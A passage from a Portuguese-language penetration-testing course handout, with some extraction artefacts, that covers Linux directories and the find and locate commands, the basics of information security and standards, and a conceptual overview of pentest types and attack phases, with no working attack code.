Diretrio para dados de servios fornecidos pelo sistema, cuja aplicao de alcance geral, ou seja, os dados no so especcos de um usurio. Por exemplo: /srv/www (servidor web) /srv/ftp (servidor ftp)

2.3.12 Diretrio /tmp

# ls / tmp

Diretrio para armazenamento de arquivos temporrios. utilizado principalmente para guardar pequenas informaes que precisam estar em algum lugar at que a operao seja completada, como o caso de um download.

PenTest - Segurana Hacker

Pgina 51

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Enquanto no for concludo, o arquivo ca registrado em /tmp, e, assim que nalizado, encaminhado para o local correto. No Debian os dados so perdidos a cada reboot, j no CentOS os dados so mantidos durante doze dias aps seu ltimo acesso. Para alterar no Debian:

1 2 3 4 5 6 7

# vim / etc / default / rcS TMPTIME = SULOGIN = no DELAYLOGIN = no UTC = yes VERBOSE = no FSCKFIX = no

Altere o valor da varivel TMPTIME para o nmero de dias que desejar manter os dados aps o seu ltimo acesso. Para alterar no CentOS:

1 2 3 4 5 6 7 8 9 10 11

# vim / etc / cron . daily / tmpwatch flags =- umc / usr / sbin / tmpwatch " $flags " -x / tmp /. X11 - unix -x / tmp /. XIM - unix \ -x / tmp /. font - unix -x / tmp /. ICE - unix -x / tmp /. Test - unix \ -X / tmp / hsperfdata_ * 24 / tmp / usr / sbin / tmpwatch " $flags " 72 / var / tmp for d in / var /{ cache / man , catman }/{ cat ? , X11R6 / cat ? , local / cat ?}; do if [ -d " $d " ]; then / usr / sbin / tmpwatch " $flags " -f 72 " $d " fi done

Altere de 720 horas, para o total de horas que quiser.

2.3.13 Diretrio /usr

# ls / usr

PenTest - Segurana Hacker

Pgina 52

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

O diretrio /usr contm programas que no so essenciais ao sistema e que seguem o padro GNU/Linux, como, por exemplo, navegadores, gerenciadores de janelas, etc.

2.3.14 Diretrio /var

# ls / var

O diretrio /var contm arquivos de dados variveis. Por padro, os programas que geram arquivos de registro para consulta, mais conhecidos como logs, cam armazenados nesse diretrio. Alm do log, os arquivos que esto aguardando em las, tambm cam localizados em /var/spool. Os principais arquivos que se utilizam do diretrio /var so: mensagens de e-mail arquivos a serem impressos

# ls / var / spool

arquivos de log

# ls / var / log

2.3.15 Diretrio /proc

# ls / proc

O /proc um diretrio virtual, mantido pelo kernel, onde encontramos a congurao atual do sistema, dados estatsticos, dispositivos j montados, interrupes, endereos e estados das portas fsicas, dados sobre as redes, etc.

PenTest - Segurana Hacker

Pgina 53

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Aqui, temos subdiretrios com o nome que corresponde ao PID - Process ID de cada processo. Dentro deles, vamos encontrar diversos arquivos texto contendo vrias informaes sobre o respectivo processo em execuo. Utilize os paginadores more ou less para visualiz-los:

# more / proc / interrupts

Neste arquivo esto as informaes das IRQs dos dispositivos. Os endereos de IRQ so interrupes de hardware, canais que os dispositivos podem utilizar para chamar a ateno do processador. Na maioria das situaes, o sistema operacional simplesmente chaveia entre os aplicativos ativos, permitindo que ele utilize o processador durante um determinado espao de tempo e passe a bola para o seguinte. Como o processador trabalha a uma frequncia de clock muito alta, o chaveamento feito de forma muito rpida, dando a impresso de que todos realmente esto sendo executados ao mesmo tempo. Ao ser avisado atravs de qualquer um destes canaisde IRQ, o processador imediatamente pra qualquer coisa que esteja fazendo e d ateno ao dispositivo, voltando ao trabalho logo depois. Cada endereo uma espcie de campainha, que pode ser tocada a qualquer momento. Se no fossem pelos endereos de IRQ, o processador no seria capaz de ler as teclas digitadas no teclado, nem os clicks do mouse, a sua conexo pararia toda vez que abrisse qualquer programa e assim por diante.

# less / proc / dma

o arquivo que contm a lista do registro ISA direto dos canais em uso da acesso a memria (DMA). Os canais de DMA so utilizados apenas por dispositivos de legado (placas ISA, portas paralelas e drives de disquete) para transferir dados diretamente para a memria RAM, reduzindo desta forma a utilizao do processador.

# more / proc / ioports

PenTest - Segurana Hacker

Pgina 54

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Neste arquivo encontramos informaes sobre os endereos das portas I/O (Input/Output). Diferentemente dos endereos de IRQ, os endereos de I/O no so interrupes, mas sim endereos utilizados para a comunicao entre os dispositivos. Cada dispositivo precisa de um endereo prprio mas, ao contrrio dos endereos de IRQ, existe uma abundncia de endereos de I/O disponveis, de forma que eles raramente so um problema.

2.3.16 Diretrio /sys

# ls / sys

Pode-se dizer que esse diretrio um primo do diretrio /proc. Dentro do diretrio /sys podemos encontrar o quase o mesmo contedo do /proc, mas de uma forma bem mais organizada para ns administradores. Esse diretrio est presente desde a verso 2.6 do kernel, ele agrupa informaes sobre os dispositivos instalados, incluindo o tipo, fabricante, capacidade, endereos usados e assim por diante. Estas informaes so geradas automaticamente pelo kernel e permitem que os servios responsveis pela deteco de hardware faam seu trabalho, congurando impressoras e criando cones no desktop para acesso ao pendrive, por exemplo.

2.3.17 Diretrios /home e /root

# ls / home

/ root

Os diretrios /root e /home podem estar disponveis no sistema, mas no precisam obrigatoriamente possuir este nome. Por exemplo, o diretrio /home poderia se chamar /casa, que no causaria nenhum impacto na estrutura do sistema. O /home contm os diretrios pessoais dos usurios cadastrados no sistema. O /root o diretrio pessoal do super usurio root.

PenTest - Segurana Hacker

Pgina 55

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

O root o administrador do sistema, e pode alterar as conguraes do sistema, congurar interfaces de rede, manipular usurios e grupos, alterar a prioridade dos processos, entre outras. Dica: Utilize uma conta de usurio normal em vez da conta root para operar seu sistema.

Uma razo para evitar usar privilgios root regularmente, a facilidade de se cometer danos irreparveis; alm do que, voc pode ser enganado e rodar um programa Cavalo de Tria (programa que obtm poderes do super usurio) comprometendo a segurana do seu sistema sem que voc saiba.

2.3.18 Localizao no sistema: nd


O comando nd procura por arquivos/diretrios no disco. Ele pode procurar arquivos pela sua data de modicao, tamanho, etc. O nd, ao contrrio de outros programas, usa opes longas por meio de um -. Sintaxe do comando nd:

nd [diretrio] [opes/expresso]

-name [expresso] : Procura pela [expresso] denida nos nomes de arquivos e diretrios processados.

# find / etc - name *. conf

-maxdepth [num] : Limita a recursividade de busca na rvore de diretrios. Por exemplo, limitando a 1, a busca ser feita apenas no diretrio especicado e no ir incluir nenhum subdiretrio.

# find / etc - maxdepth 1 - name *. conf

PenTest - Segurana Hacker

Pgina 56

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

-amin [num] : Procura por arquivos que foram acessados [num] minutos atrs. Caso seja antecedido por -, procura por arquivos que foram acessados entre [num] minutos atrs e o momento atual.

# find ~ - amin -5

-atime [num] : Procura por arquivos que foram acessados [num] dias atrs. Caso seja antecedido por -, procura por arquivos que foram acessados entre [num] dias atrs e a data atual.

# find ~ - atime -1

-uid [num] : Procura por arquivos que pertenam ao usurio com o uid 1000 [num].

# find / - uid 1

-user [nome] : Procura por arquivos que pertenam ao usurio aluno [nome].

# find / - user aluno

-perm [modo] : Procura por arquivos que possuem os modos de permisso [modo]. Os [modo] de permisso podem ser numrico (octal) ou literal.

# find / - perm 644

PenTest - Segurana Hacker

Pgina 57

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

-size [num] : Procura por arquivos que tenham o tamanho [num]. O tamanho especicado em bytes. Voc pode usar os suxos k, M ou G para representar o tamanho em Quilobytes, Megabytes ou Gigabytes, respectivamente. O valor de [num] Pode ser antecedido de + ou - para especicar um arquivo maior ou menor que [num].

# find / - size +1 M

-type [tipo] : Procura por arquivos do [tipo] especicado. Os seguintes tipos so aceitos: b - bloco; c - caractere; d - diretrio; p - pipe; f - arquivo regular; l - link simblico; s - socket.

# find / dev - type b

Outros exemplos: Procura no diretrio raiz e nos subdiretrios um arquivo/diretrio chamado grep ignorando caso sensitivo:

# find / - iname GREP

-iname - ignora case sensitive; Procura no diretrio raiz e nos subdiretrios at o 2 nvel, um arquivo/diretrio chamado grep:

# find / - maxdepth 2 - name grep

Procura no diretrio atual e nos subdiretrios um arquivo com tamanho maior que 1000 kbytes (1Mbyte).:

# find . - size +1

PenTest - Segurana Hacker

Pgina 58

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Procura no diretrio raiz e nos subdiretrios um arquivo que foi modicado h 10 minutos atrs ou menos:

# find / - mmin -1

Procura diretrios a partir do diretrio /etc e tambm executa um comando no resultado da busca com a opo exec, no exemplo o comando ls -ld:

# find / etc - type d

- exec ls - ld {} \;

2.3.19 xargs
Outra forma de procurar por arquivos e/ou diretrios e executar um comando atravs do comando xargs que obtm como a entrada a sada ok do comando antes do pipe e envia como stdin do prximo comando, no caso o ls -ld:

# find / etc - type d

| xargs ls - ld

Vamos agora listar diretrios utilizando o xargs:

1 2 3

# ls / | xargs - n1 # ls / | xargs - n2 # ls / | xargs - n3

Outros testes com o xargs:

1 2 3 4

# # # #

ls / > teste_xargs . txt cat teste_xargs . txt cat teste_xargs . txt | xargs -n 2 xargs -n 3 < teste_xargs . txt

Voc percebeu que no primeiro comando ele listou o diretrio, jogando na tela um nome de cada vez. O segundo comando far o mesmo s que com dois nomes na mesma linha, e o terceiro com 3 nomes.

PenTest - Segurana Hacker

Pgina 59

Linux Force www.linuxforce.com.br

Aprendendo GNU/Linux

Tempo de execuo de um programa: time O comando time permite medir o tempo de execuo de um programa. Sua sintaxe : time [programa]. Exemplo:

# time find / - name *. conf

Localizao usando base de dados: locate O comando locate um comando rpido de busca de arquivos, porm no usa busca recursiva na sua rvore de diretrios. Ele utiliza uma base de dados que criada pelo comando updatedb, para que a busca seja mais rpida. Por padro, a atualizao da base de dados agendado no cron do sistema para ser executada diariamente. Para utiliz-lo, primeiro necessrio criar a sua base de dados usando a seguinte sintaxe:

# uptadedb

Quando esse comando executado pela primeira vez costuma demorar um pouco. Isso deve-se a primeira varredura do disco para a criao da primeira base de dados. Para o comando locate, usamos a seguinte sintaxe:

# locate howto

A sada do comando ser algo parecido com:

1 2 3

/ usr / share / doc / python2 .4 - xml / howto . cls / usr / share / doc / python2 .4 - xml / xml - howto . tex . gz / usr / share / doc / python2 .4 - xml / xml - howto . txt . gz / usr / share / vim / vim64 / doc / howto . txt

PenTest - Segurana Hacker

Pgina 60

3 Introduo Segurana da Informao


3.1 Objetivos
Fornecer ao aluno uma viso geral sobre segurana da informao Entender a importncia da segurana da informao no mundo de hoje Conhecer as principais ameaas Compreender a terminologia bsica utilizada Conhecer algumas certicaes da rea

3.2 O que segurana?


Segundo o dicionrio da Wikipdia, segurana um substantivo feminino, que signica: Condio ou estado de estar seguro ou protegido. Capacidade de manter seguro. Proteo contra a fuga ou escape. Prossional ou servio responsvel pela guarda e proteo de algo. Conana em si mesmo.

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Dentro do escopo com relao ao que iremos estudar, os trs primeiros tpicos adequam-se perfeitamente ao que ser abordado ao longo do curso. No entanto, veremos esses aspectos na viso do atacante, aquele que tem por objetivo justamente subverter a segurana. E o que queremos proteger? Vamos analisar o contexto atual em primeiro lugar... Na poca em que os nobres viviam em castelos e possuam feudos, com mo de obra que trabalhavam por eles, entregando-lhes a maior parte de sua produo e ainda pagavam extorsivos importos, qual era o maior bem que possuam? Terras! Isso mesmo, quem tinha maior nmero de terras era mais poderoso e possua mais riqueza. Posto que quanto mais terras, maior a produo recebida das mos dos camponeses que arrendavam as terras de seu suserano. Aps alguns sculos, com o surgimento da Revoluo Industrial, esse panorama muda completamente... Os camponeses deixam os campos e passam a trabalhar nas fbricas, transformando-se em operrios. Quem nunca viu o lme Tempos Modernos de Chaplin? Chaplin ilustra muito bem como era a rotina desses operrios. Nessa fase da histria da civilizao, o maior ativo a mo de obra, juntamente com o capital. Quem tinha o maior nmero de operrios, trabalhando incansavelmente, detinha o poder, pois possua maior capital, gerado pela produo incessante das indstrias. No entanto, como tudo o que cclico e est em constante mudana, o cenrio mundial novamente se altera, inicialmente com o movimento iluminista. O Iluminismo, a partir do sculo XVIII, permeando a Revoluo Industrial, prepara o terreno para a mudana de paradigma que est por vir. Os grandes intelectuais desse movimento tinham como ideal a extenso dos princpios do conhecimento crtico a todos os campos do mundo humano. Supunham poder contribuir para o progresso da humanidade e para a superao dos resduos de tirania e superstio que creditavam ao legado da Idade Mdia. A maior parte dos iluministas associava ainda o ideal de conhecimento crtico tarefa do melhoramento do estado e da sociedade. E com isso, comeamos a ver, atravs de uma grande mudana de paradigma, que a deteno de informaes ou conhecimentos, que tinham algum valor, que dene quem tem o poder nas mos ou no. E surge, ento, a era da informao!

PenTest - Segurana Hacker

Pgina 62

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Com esse acontecimento, inicia-se o surgimento da internet e a globalizao, possibilitando o compartilhamento em massa da informao. Nesse momento no mais a mo de obra, terras, mquinas ou capital que regem a economia e dita quem tem o poder, mas sim a informao, que se torna o principal ativo dessa era. Estamos na era da informao, e nada mais lgico que um corpo de conhecimento fosse criado para dar a devida ateno s anomalias e proteger esse ativo to importante. Essa rea de atuao, que j existia h muito anos, mas agora com tarefas bem mais denidas, com regras e normas a serem seguidas a Segurana da Informao, ou SI.

3.3 Segurana da Informao


A Segurana da Informao tem como principal objetivo, justamente, proteger as informaes, que so os principais ativos atualmente, que sejam importantes para uma organizao ou indivduo. Entendendo esse conceito, no suciente apenas conhecer as normas existentes e as vrias formas possveis de proteo, mas necessrio tambm conhecer os riscos inerentes e as possveis formas de ataque. De acordo com o maior estrategista que j existiu, Sun Tzu, se voc conhece a si mesmo e ao seu inimigo, no precisar temer o resultado de mil batalhas. Anal, se conhece os estratagemas empregados por atacantes maliciosos, estar muito mais capacitado para proteger seu principal ativo: a informao.

3.4 Padres/Normas
3.4.1 ISO 27001
Essa norma aborda os padres para sistemas de gesto de segurana da informao. Substitui a norma BS 7799-2

PenTest - Segurana Hacker

Pgina 63

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

3.4.2 ISO 27002


Baseada na norma ISO 27001, essa norma trata das boas prticas de segurana da informao, onde indica uma srie de possveis controles dentro de cada contexto da rea de segurana. A partir de 2006, tornou-se substituta da norma ISO 17799:2005.

3.4.3 Basileia II
uma norma da rea nanceira, conhecida tambm como Acordo de Capital de Basileia II. Essa norma xa-se em trs pilares e 25 princpios bsicos sobre contabilidade e superviso bancria.

3.4.4 PCI-DSS
A norma Payment Card Industry Data Security Standard, uma padronizao internacional da rea de segurana de informao denida pelo Payment Card Industry Security Standards Council. Essa norma foi criada para auxiliar as organizaes que processam pagamentos por carto de crdito na preveno de fraudes, atravs de maior controle dos dados e sua exposio.

3.4.5 ITIL
um conjunto de boas prticas para gesto, operao e manuteno de servios de TI, aplicados na infraestrutura. A ITIL busca promover a gesto de TI com foco no cliente no servio, apresentando um conjunto abrangente de processos e procedimentos gerenciais, organizados em disciplinas, com os quais uma organizao pode fazer sua gesto ttica e operacional em vista de alcanar o alinhamento estratgico com os negcios.

3.4.6 COBIT
Do ingls, Control Objectives for Information and related Technology, um guia de boas prticas, como um framework, voltadas para a gesto de TI. Inclui, em sua

PenTest - Segurana Hacker

Pgina 64

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

estrutura de prticas, um framework, controle de objetivos, mapas de auditoria, ferramentas para a sua implementao e um guia com tcnicas de gerenciamento.

3.4.7 NIST 800 Series


Srie de documentos, guias e pesquisas desenvolvidos pelo National Institute of Standards and Technology, voltadas para a rea de segurana da informao. Essa srie composta de documentos considerados "Special Publications", os quais abordam desde segurana na tecnologia Bluetooth, at segurana em servidores.

Dica: o documento desta srie que equivalente ao que estamos estudando ao longo desse curso, que pode inclusive representar uma metodologia especca, o NIST 800-115.

3.5 Por que precisamos de segurana?


Evoluo da tecnologia focando a facilidade de uso Quanto mais a tecnologia evolui, mais fcil torna-se a operao dos novos sistemas e ferramentas. J vai ao longe o tempo em que era necessrio gravar de cabea 500 comandos diferentes para utilizar o computador para as tarefas mais costumeiras e simples do dia a dia. Hoje em dia tudo est ao alcance de um clique do mouse, e quando no, de um movimento de cabea, se pensarmos nos sistemas de captura de movimentos. Aumento do uso de redes e interligao das aplicaes Tudo est conectado atualmente! E quando uma mquina ou sistema comprometido, tudo o que est ao seu redor corre o risco de ser comprometido tambm. Isso demanda uma maior capacidade de gerenciamento do parque computacional, que cresce exponencialmente e muitas vezes de forma desordenada. Diminuio do nvel de conhecimento para a execuo de um ataque avanado

PenTest - Segurana Hacker

Pgina 65

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Com a facilidade de uso aumentando gradativamente, a necessidade de conhecimento de alto nvel para realizar ataques avanados tambm diminui. Se um adolescente de 12 anos procurar na internet sobre ataques de negao de servio, por exemplo, encontrar ferramentas de simples utilizao e pode facilmente derrubar um grande servidor. Aumento da complexidade para administrao de infraestrutura de computadores e gerenciamento. Quanto maior o parque computacional, mais difcil se torna seu gerenciamento, e disso surgem inmeros problemas graves, de consequncias desastrosas. Com o aumento da complexidade da infraestrutura e, consequentemente, da sobrecarga dos administradores de rede, torna-se cada vez mais difcil gerenciar tudo o que ocorre e monitorar satisfatoriamente o funcionamento da infraestrutura organizacional.

3.6 Princpios bsicos da segurana da informao


A rea de SI possui trs pilares bsicos com o acrscimo de mais duas, que permitem a troca segura de informao, desde que nenhum deles seja violado. So eles:

3.6.1 Condencialidade
Esse pilar o responsvel pelo controle de acesso informao apenas por aquelas pessoas ou entidade que tenham permisso compatvel com sua funo e determinada pelo dono daquela informao.

3.6.2 Integridade
Aqui, atravs dessa propriedade, determinada a necessidade de garantir que a informao mantenha todas as suas caractersticas originais como determinadas pelo proprietrio da informao.

PenTest - Segurana Hacker

Pgina 66

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

3.6.3 Disponibilidade
Propriedade que dene que determinada informao esteja sempre disponvel para o acesso quando necessrio, de maneia ntegra e dedigna. Alguns dos ataques conhecidos buscam justamente derrubar a disponibilidade, e para algumas empresas o simples fato de no ter suas informaes disponveis durante determinado perodo de tempo, isso pode acarretar prejuzos estrondosos.

3.6.4 Autenticidade
Propriedade responsvel por garantir que a informao vem da origem informada, permitindo a comunicao segura e garantia de que a informao a qual tem acesso correta e de fonte convel.

3.6.5 Legalidade
a propriedade que dene se determinada informao, ou operao, est de acordo com as leis vigentes no pas. As mesmas leis que regem um pas podem ser completamente diferentes em outro, o que pode ocasionar uma srie de problemas, caso o sistema de gesto no seja adaptvel. Podemos ver na gura a seguir alguns dos distrbios mais comuns aos pilares da SI, vinculados a ataques que visam rea de TI:

PenTest - Segurana Hacker

Pgina 67

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

O nvel de segurana desejado, pode se consubstanciar em uma poltica de segurana que seguida pela organizao ou pessoa, para garantir que uma vez estabelecidos os princpios, aquele nvel desejado seja perseguido e mantido. de extrema importncia saber equilibrar o nvel de segurana com a funcionalidade e facilidade de uso do sistema, pois o mais importante para a empresa o negcio, e a segurana existe para proteger o negcio da empresa, e no atrapalh-lo.

3.6.6 Terminologias de segurana


Vulnerabilidade fragilidade que pode fornecer uma porta de entrada a um atacante Ameaa agente ou ao que se aproveita de uma vulnerabilidade Risco (Impacto X Probabilidade) da ameaa ocorrer Ataque Incidncia da ameaa sobre a vulnerabilidade Exploit Programa capaz de explorar uma vulnerabilidade

3.7 Ameaas e ataques


Em segurana da informao, precisamos estar atentos s possveis ameaas que podem, de alguma maneira, comprometer os pilares de SI. A partir das ameaas, podemos ter noo dos riscos que envolvem a atividade organizacional. Para cada tipo de atividade, ou contexto, o conjunto de ameaas ser diferente, requerendo tambm reaes e posturas diferentes para diminu-las. Vamos separar as ameaas em dois grandes grupos: fsicas e lgicas. As ameaas fsicas, caso ocorram, comprometero o ambiente fsico onde a informao est armazenada ou processada. Dentre as ameaas fsicas podemos considerar: Alagamento

PenTest - Segurana Hacker

Pgina 68

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Raios Acessos indevidos Desabamentos E no grupo das ameaas lgicas, podemos contar as seguintes: Infeco por vrus Acessos remotos rede Violao de senhas Assim como dividimos as ameaas em dois grandes grupos, os ataques tambm podem ser divididos da mesma maneira: Internos e Externos. Os ataques internos representam por volta de 70aos sistemas e redes. Mesmo que a maioria das pessoas acreditem que a maior parte dos ataques surjam de fontes externas, essa uma maneira errnea de encarar as coisas. Dentre os ataques internos, encontramos em sua maioria, aqueles realizados por funcionrios de dentro da prpria organizao, que esto insatisfeitos, buscam vingana ou participam de alguma ao de espionagem industrial, vendendo as informaes conseguidas para o concorrente. Outro tipo de ataque vindo de insiders, surge de funcionrios despreparados, que sem o devido conhecimento do funcionamento do sistema, ou das polticas organizacionais, age de maneira errnea, causando o comprometimento do sistema da empresa. Quando vamos analisar os ataques externos, novamente nos deparamos com a possibilidade de comprometimentos cujos objetivos estejam vinculados espionagem industrial, que apesar de ser ilegal, muitas organizaes recorrem a esse expediente para no car para trs, na luta pelo domnio de mercado. Outra possibilidade da origem de comprometimentos de sistemas, pode ser a curiosidade ou simplesmente o desao que representa para um cracker, cujo objetivo de comprometer o sistema, seja basicamente isso: comprometer o sistema e poder dizer que foi ele quem fez isso. Ou ento, o furto de dados que de alguma forma sejam teis para o cracker. Bons exemplos desse tipo de ataques, podem ser encontrados no livro A Arte de Invadir, de autoria de Kevin Mitnick.

PenTest - Segurana Hacker

Pgina 69

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Exemplo de ameaa: Uma chuva de granizo em alta velocidade Exemplo de vulnerabilidade: Uma sala de equipamentos com janelas de vidro Exemplo de ataque: A chuva de granizo contra as janelas de vidro O risco ser calculado considerando a probabilidade de uma chuva de granizo em alta velocidade ocorrer e atingir a janela de vidro.

3.8 Mecanismos de segurana


Para mitigar ou diminuir sensivelmente as ameaas, podemos empregar uma srie de dispositivos e mecanismos de segurana, sejam as ameaas fsicas ou lgicas. Para cada contexto, temos grupos diferentes de mecanismos que podem ser utilizados.

3.8.1 Mecanismos fsicos


Portas Trancas Paredes Blindagem Guardas Cmeras Sistemas de alarme

PenTest - Segurana Hacker

Pgina 70

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Sistema de deteco de movimentos Biometria Os mecanismos fsicos de proteo, so barreiras que limitam o contacto ou acesso direto a informao ou a infra-estrutura (que garante a existncia da informao) que a suporta.

3.8.2 Mecanismos lgicos


Criptograa Firewall Anti-Vrus IDS IPS Proxy Anti-Spam Os mecanismos lgicos, so barreiras que impedem ou limitam o acesso a informao, que est em ambiente controlado, geralmente eletrnico, e que, de outro modo, caria exposta a alterao no autorizada por elemento mal intencionado.

3.9 Servios de segurana


Existe hoje em dia um elevado nmero de ferramentas e sistemas que pretendem fornecer segurana. Alguns exemplos so os detectores de intruses, os antivrus, rewalls, rewalls locais, ltros anti-spam, fuzzers, analisadores de cdigo, etc. Alm de dispositivos de segurana, tambm existem diversos servios relacionados a segurana da informao.

PenTest - Segurana Hacker

Pgina 71

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

Esses servios precisam de prossionais com um conhecimento altamente especializado, primeiro por lidar com anlises complexas, e segundo por envolver informaes sigilosas que precisam de tratamento especial, para que no sejam comprometidas de alguma maneira. Dentre os servios oferecidos por prossionais de segurana esto: Criao de Polticas de Segurana Implantao de CSIRTs Hardening de Servidores Anlise de Vulnerabilidade Teste de Invaso Anlise de Aplicao Percia Computacional Treinamento de Colaboradores Auditoria

3.10 Certicaes
Na rea de segurana, h muitas certicaes reconhecidas pelo mercado. Sendo que cada ma delas possui um foco diferente, nvel de conhecimento diferente e formas de avaliaes diversas. Abaixo listamos as principais certicaes da rea de SI: CompTIA Security+ Cisco Systems

PenTest - Segurana Hacker

Pgina 72

Linux Force www.linuxforce.com.br

Introduo Segurana da Informao

CCNA Security CCSP CCIE Security EC-Council CEH CHFI ECSA ENSA LPT GIAC GSIF GSEC GCIA GCFW GCFA GCIH GPEN GCUX GCWN GWAPT GAWN GREM GSE ISACA CISA CISM ISECOM OPSA OPST Offensive Security OSCP OSCE Dentro do contedo estudado e de acordo com o contexto que estamos estudando, algumas certicaes possuem em sua avaliao muito dos assuntos abordados em aula. Podemos citar, dentre essas, as certicaes: CEH, ECSA, LPT, OPSA, OSCP, GPEN

PenTest - Segurana Hacker

Pgina 73

4 Introduo ao Teste de Invaso e tica Hacker


4.1 Objetivos
Fornecer ao aluno uma viso geral sobre testes de invaso Entender a anatomia e os tipos diferentes de ataques Conhecer as fases de um teste de invaso Conhecer as metodologias e os aspectos legais

4.2 Viso geral sobre o Pentest


O Teste de Intruso um processo de anlise detalhada do nvel de segurana de um sistema ou rede usando a perspectiva de um infrator. Trata-se de um teste realista ao nvel de segurana das infra-estruturas e da informao que estas detm. No Teste de Intruso so testadas vulnerabilidades tcnicas e conceituais das infraestruturas alvo. O objetivo principal simular de forma controlada um ataque real que normalmente executado por criminosos. Desta maneira possvel ter o conhecimento total do que poderia acontecer caso esse ataque realmente existisse, garantindo assim a possibilidade de uma estratgia de preveno.

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

4.3 Tipos de Pentest


4.3.1 Blind
Nessa modalidade o auditor no conhece nada sobre o alvo que ir atacar, porm o alvo sabe que ser atacado e o que ser feito durante o teste. O grande risco desse tipo de teste, que o alvo pode avisar a equipe de TI e decidirem fazer atualizao do sistema, aplicar patchs de correo e segurana. Esse tipo de pentest interessante para ter conhecimento de como e quais informaes sobre a organizao e sua infraestrutura possvel de um atacante ter acesso.

4.3.2 Double blind


Nessa modalidade o auditor no conhece nada sobre o alvo, e o alvo no sabe que ser atacado e to pouco sabe quais testes o auditor ir realizar. o mtodo de pen test mais realista possvel, aproximando-se de um ataque real, pois ambas as parte, auditor e alvo, no sabem com o que iro se deparar. Anal, em um ambiente real, o atacante no sabe nada inicialmente sobre seu alvo, e o alvo nunca saber qual tipo de ataque um cracker pode realizar contra sua infraestrutura.

4.3.3 Gray Box


Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que ser atacado e tambm sabe quais testes sero realizados. Aproxima-se de um teste onde simulado o ataque de dentro de um ambiente completamente monitorado e controlado.

PenTest - Segurana Hacker

Pgina 75

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

4.3.4 Double Gray Box


Nessa modalidade o auditor tem conhecimento parcial do alvo, e o alvo sabe que ser atacado, porm, no sabe quais testes sero executados. Esse o melhor mtodo para simular um ataque partindo de um funcionrio insatisfeito, que possui privilgios de usurio, por exemplo, e procura realizar escalada de privilgios para ter acesso s informaes que seu nvel ou grupo no possui.

4.3.5 Tandem
Nessa modalidade o auditor tem total conhecimento sobre o alvo, o alvo sabe que ser atacado e o que ser feito durante o ataque. Tambm conhecido como caixa de cristal. Esse tipo de pen test bem prximo de uma auditoria, pois ambos esto preparados e sabem o que vai ser realizado. o ideal para ser feito periodicamente, monitorando as vulnerabilidades novas e mudanas feitas na infraestrutura.

4.3.6 Reversal
Nessa modalidade o auditor tem conhecimento total do alvo, porm o alvo no sabe que ser atacado, e to pouco sabe quais testes sero executados. Esse formato de teste ideal para testar a capacidade de resposta e como est o timing de ao da equipe de resposta a incidentes do alvo.

4.4 As fases de um ataque


Um ataque, ou teste de invaso, composto por uma srie de fases, onde em cada uma determinadas operaes so realizadas. O que vai denir a diferena de um teste de invaso e um ataque realizado por um cracker, so justamente a inteno, o escopo e o espao de tempo disponvel para o mesmo.

PenTest - Segurana Hacker

Pgina 76

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

As fases bsicas de um ataque so explicadas a seguir.

4.4.1 Levantamento de Informaes


Essa a fase mais importante de um ataque e de um teste de invaso. Baseado no que descoberto nessa fase, todo o planejamento realizado e os vetores de ataque denidos. Essa fase prossegue na fase seguinte, onde as informaes iniciais so extendidas, de forma mais detalhada. Podemos dizer que essa a fase abrangente, e a fase seguinte detalha as informaes adquiridas nessa primeira fase. Qualquer informao que seja vinculado ao alvo considerada de valor nesse primeiro passo: Concorrentes Nome de funcionrios Endereos Telefones Sites Empresas Comunidades sociais Empresas do mesmo grupo e etc.

4.4.2 Varredura
Nessa fase o atacante busca informaes mais detalhadas o alvo, que posam permitir denir seus vetores de ataque e enxergar as possibilidades que podem permitir ganhar acesso ao sistema, atravs da explorao de alguma falha encontrada.

PenTest - Segurana Hacker

Pgina 77

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

Aqui buscamos informaes que respondam algumas perguntas, como por exemplo: Qual sistema operacional o alvo utiliza? Quais os servios esto sendo executados no alvo? Quais servios esto disponveis para acesso? Qual a verso de cada servio sendo executado? H IDS/IPS na rede? H honeypots na rede? H rewalls na rede? Existe uma rede interna e outra externa, como uma DMZ? H servios com acesso pblico rodando em alguma mquina? H algum software malicioso j sendo executado em alguma mquina? A partir dessas informaes, o atacante pode buscar maiores detalhes na internet ou fruns especializados em busca de exploits que permitam explorar falhas existentes nas verses dos servios sendo executados.

4.4.3 Ganhando acesso


Aqui o atacante coloca em prtica tudo aquilo que planejou a partir das informaes obtidas previamente. Dependendo de seus vetores de ataque, ele pode realizar uma srie de ataques buscando ganhar acesso ao sistema alvo, como por exemplo: Ataques de fora bruta local Ataques de fora bruta remoto Captura de trfego de rede

PenTest - Segurana Hacker

Pgina 78

Linux Force www.linuxforce.com.br

Introduo ao Teste de Invaso e tica Hacker

Ataque de engenharia social Ataques s aplicaes WEB Explorao de servios Explorao de sistema operacional Conseguindo acesso ao sistema, o atacante realizar uma srie de operaes buscando a elevao de seus privilgios caso o mesmo j no seja de root.

4.4.4 Mantendo acesso


